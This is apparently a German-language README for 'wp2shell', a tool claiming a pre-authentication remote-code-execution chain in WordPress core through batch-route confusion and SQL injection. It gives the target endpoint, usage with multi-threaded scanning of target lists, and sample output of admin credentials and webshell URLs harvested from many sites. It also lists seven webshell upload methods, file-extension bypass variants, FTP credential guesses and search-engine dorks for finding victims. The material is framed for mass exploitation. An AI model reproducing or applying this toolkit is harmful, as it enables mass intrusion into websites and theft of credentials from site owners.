
WordPress Core Pre-Auth RCE — Batch-Routen-Konfusion + SQL-Injection
CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 (SQL Injection)
Exploitation-Toolkit ohne Abhängigkeiten für die wp2shell-Schwachstellenkette im WordPress Core. Eine einzige anonyme HTTP-Anfrage führt auf einer Standard-WordPress-Installation zur Remote-Codeausführung, ohne dass Plugins erforderlich sind.
| Bereich | Auswirkung | Behoben in |
|---|---|---|
| 7.0.0 – 7.0.1 | Vollständige RCE | 7.0.2 |
| 6.9.0 – 6.9.4 | Vollständige RCE | 6.9.5 |
| 6.8.0 – 6.8.5 | Nur SQLi | 6.8.6 |
Keine Plugins oder spezielle Konfiguration erforderlich. Eine reine WordPress-Installation ist ausnutzbar.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests nur für den Expander)log/scanned.txt überspringt bereits gescannte ZieleAlle 7 Methoden werden parallel über ThreadPoolExecutor ausgeführt. Die erste erfolgreiche Methode gewinnt, der Rest wird abgebrochen.
| # | Methode | Beschreibung |
|---|---|---|
| 1 | direct-plugin | Zip per /wp-admin/plugin-install.php hochladen |
| 2 | direct-theme | Zip per /wp-admin/theme-install.php hochladen |
| 3 | rest-api | Zip per POST an /wp-json/wp/v2/plugins mit Auth-Cookie senden |
| 4 | plugin-editor | PHP direkt über /wp-admin/plugin-editor.php schreiben |
| 5 | theme-editor | PHP in das aktive Theme-Verzeichnis schreiben |
| 6 | ftp-bypass | FTP-Zugangsdaten übermitteln, wenn WordPress danach fragt |
| 7 | media-upload | PHP über die Mediathek mit 15 Dateiendungsvarianten hochladen |
Dateiendungen für den Medien-Upload: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
Versuchte FTP-Zugangsdaten: localhost / 127.0.0.1 mit root / www-data / WordPress-Admin-Zugangsdaten
| Datei | Inhalt |
|---|---|
result.txt | Admin-Zugangsdaten: url.com/wp-login.php:user:pass |
result_upload.txt | Shell-URLs: shell_url | login_url:user:pass | method |
log/scanned.txt | Alle gescannten Hosts (automatisches Überspringen bei erneutem Lauf) |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"